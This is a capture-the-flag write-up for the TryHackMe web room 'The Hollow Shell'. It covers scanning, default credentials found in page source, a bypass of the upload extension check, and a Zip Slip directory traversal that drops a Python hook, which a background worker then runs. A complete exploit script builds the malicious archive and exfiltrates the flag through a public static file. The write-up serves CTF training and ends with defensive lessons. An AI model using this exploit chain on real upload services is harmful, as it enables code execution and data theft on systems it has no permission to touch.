TryHackMe Hacker Holidays 2026 — The Hollow Shell Writeup
Written By Aryan Giri
Room: The Hollow Shell
Category: Web
Difficulty: Medium
Room URL: https://tryhackme.com/room/hh-thehollowshell-ddb582ac
Scenario
The Byte Lotus Hotel allows staff to upload "shells" — ZIP packages containing media and configuration used to customize in-room displays. The upload portal appears to validate uploaded content, but hidden functionality and unsafe archive extraction provide an opportunity to execute arbitrary code and retrieve the room flag.
Enumeration
The room description points to:
http://10.49.142.249
Initially, nothing is available on the default HTTP port, so the first step is performing a service scan.
nmap -sV -T4 10.49.142.249
The scan reveals that the web application is actually running on port 5000.
Visiting:
http://10.49.142.249:5000
shows a login page.
Finding Credentials
Viewing the page source reveals an HTML comment accidentally containing the default staff credentials.
<!--
Byte Lotus // internal display-manager portal
user: concierge
pass: StayNoticed2024!
-->
Using those credentials grants access to the administration dashboard.
Understanding the Upload Functionality
Inside the dashboard is a feature allowing users to upload ZIP files called Shells.
The page explains that every upload must contain a manifest file named:
shell.json
It also mentions that uploaded packages may include optional automation hooks that are automatically processed by a background worker.
The interface states that only the following asset types are allowed:
png
jpg
gif
svg
css
json
This immediately suggests inspecting how uploaded archives are validated and extracted.
Observing Application Behavior
Testing the upload functionality reveals several important behaviors.
The application:
- accepts ZIP archives
- requires a
shell.jsonmanifest - validates file extensions using the
assetsfield inside the manifest - extracts uploaded archives into
shells/<random-id>/
For example:
Shell 'exploit' brought ashore.
Stored at shells/804bbf170378/
Uploaded files become directly accessible through URLs such as:
/shells/<uuid>/shell.json
The application also serves static content from:
/static/
Invalid asset extensions generate messages like:
Shell rejected: asset type not allowed
while unexpected failures return a generic Flask Internal Server Error.
One particularly interesting note is that uploaded shells may contain automation hooks, which are executed shortly after upload.
Zip Slip
The application extracts user-controlled ZIP archives, making Zip Slip a potential attack vector.
Zip Slip is a directory traversal vulnerability that occurs when archive extraction trusts filenames supplied inside an archive.
Instead of extracting:
image.png
an attacker can include entries such as:
../../hooks/get_flag.py
If the extraction process does not sanitize paths, files are written outside the intended directory.
This can lead to:
- arbitrary file overwrite
- configuration replacement
- remote code execution
- persistence
- privilege escalation
Exploit Strategy
After several attempts, the working exploit chain consists of three independent issues.
1. Extension Validation Bypass
The application only validates filenames listed inside:
assets
within shell.json.
Using an empty array completely bypasses extension validation.
{
"name": "exploit",
"assets": []
}
2. Zip Slip Arbitrary File Write
The archive contains a malicious entry:
../../hooks/get_flag.py
During extraction:
shells/<uuid>/../../hooks/get_flag.py
resolves to
hooks/get_flag.py
allowing an attacker-controlled Python file to be written into the application's hooks directory.
3. Automatic Hook Execution
According to the application, uploaded shells may contain automation hooks processed by a background worker.
Once the malicious Python file is written into:
hooks/
the worker automatically executes it.
The payload:
- searches common flag locations
- reads the flag
- writes the result into
static/leaked_flag.css
Since the static directory is publicly accessible, the flag can be retrieved over HTTP without requiring an interactive shell.
Final Exploit Script
Save the following script as:
hollow_shell_exploit.py
#!/usr/bin/env python3
"""
The Hollow Shell - Final Exploit
Made by aryan giri | giriaryan694-a11y
Bypasses extension check via empty assets array.
Drops flag retrieval payload into the automated hooks directory.
The theme worker executes the dropped script, reads the flag,
and writes it to the web-accessible static directory.
"""
import zipfile
import json
__author__ = "aryan giri | giriaryan694-a11y"
OUT = "hollow_shell_final.zip"
# 1. EMPTY assets array completely bypasses the extension filter.
manifest = {
"name": "exploit",
"assets": []
}
# 2. Python script executed by the theme worker.
# It searches common flag locations and writes the flag into /static/.
hook_script = """
import os
import glob
flag_content = "FLAG_NOT_FOUND_TRY_LATER"
# Common CTF flag locations
patterns = [
"/flag*",
"/flag.txt",
"/app/flag*",
"/app/flag.txt",
"/home/*/flag*",
"/home/*/flag.txt",
"/home/roomservice/flag*",
"/home/roomservice/flag.txt",
"/root/flag*",
"/root/flag.txt",
"/opt/flag*"
]
for p in patterns:
for f in glob.glob(p):
try:
with open(f, "r") as file:
flag_content = file.read().strip()
break
except:
pass
output = "/* FLAG: " + flag_content + " */\\n"
# Try multiple possible static paths because worker CWD may vary
paths_to_try = []
try:
current_file = os.path.abspath(__file__)
hooks_dir = os.path.dirname(current_file)
app_root = os.path.dirname(hooks_dir)
paths_to_try.append(os.path.join(app_root, "static", "leaked_flag.css"))
paths_to_try.append(os.path.join(hooks_dir, "..", "static", "leaked_flag.css"))
except:
pass
paths_to_try += [
"../../static/leaked_flag.css",
"../static/leaked_flag.css",
"static/leaked_flag.css",
"/app/static/leaked_flag.css",
"/var/www/html/static/leaked_flag.css"
]
for path in paths_to_try:
try:
with open(path, "w") as f:
f.write(output)
except:
pass
"""
with zipfile.ZipFile(OUT, "w") as zf:
# Required manifest
zf.writestr("shell.json", json.dumps(manifest))
# Zip Slip payload:
# shells/<uuid>/../../hooks/get_flag.py -> hooks/get_flag.py
zf.writestr("../../hooks/get_flag.py", hook_script)
# Sanity check file to prove Zip Slip worked
zf.writestr("../../static/sanity_check.css", "/* EXTRACTION_SUCCESS */\n")
print("[+] Generated:", OUT)
print("[+] Made by aryan giri | giriaryan694-a11y")
print("[+] Upload this ZIP to the Shoreline Display portal.")
print("[+] Then check:")
print(" http://TARGET:5000/static/sanity_check.css")
print(" http://TARGET:5000/static/leaked_flag.css")
Generate the Malicious Archive
python3 hollow_shell_exploit.py
The script generates:
hollow_shell_final.zip
Verify its contents:
python3 -m zipfile -l hollow_shell_final.zip
Expected entries:
shell.json
../../hooks/get_flag.py
../../static/sanity_check.css
Upload the Shell
Upload the generated archive through the Shoreline Display portal.
After uploading, the application reports:
Shell 'exploit' brought ashore.
Stored at shells/804bbf170378/
and held to the room's ear.
This confirms the archive has been extracted and processed.
Verify Arbitrary File Write
Confirm that Zip Slip successfully wrote a file into the application's static directory.
curl http://TARGET:5000/static/sanity_check.css
Expected response:
/* EXTRACTION_SUCCESS */
This verifies arbitrary file write.
Retrieve the Flag
Wait a few seconds for the theme worker to execute the hook.
Then browse to:
http://TARGET:5000/static/leaked_flag.css
or
curl http://TARGET:5000/static/leaked_flag.css
The response contains the TryHackMe flag inside a CSS comment.
The flag has been intentionally hidden in this writeup to comply with TryHackMe's content guidelines.
Attack Chain
Source Code Review
│
▼
Hardcoded Credentials
│
▼
Authenticated Dashboard
│
▼
Upload Shell ZIP
│
▼
Empty assets[] bypasses extension validation
│
▼
Zip Slip directory traversal
│
▼
Overwrite hooks/get_flag.py
│
▼
Theme Worker Executes Hook
│
▼
Flag Written to /static/leaked_flag.css
│
▼
Retrieve Flag via HTTP
Key Takeaways
- Never rely solely on client-controlled metadata for security decisions.
- Archive extraction routines must sanitize filenames to prevent directory traversal.
- Background automation that executes uploaded content significantly increases the impact of arbitrary file write vulnerabilities.
- Information disclosure, weak validation, and unsafe extraction combined into a complete remote code execution chain.
Happy Hacking!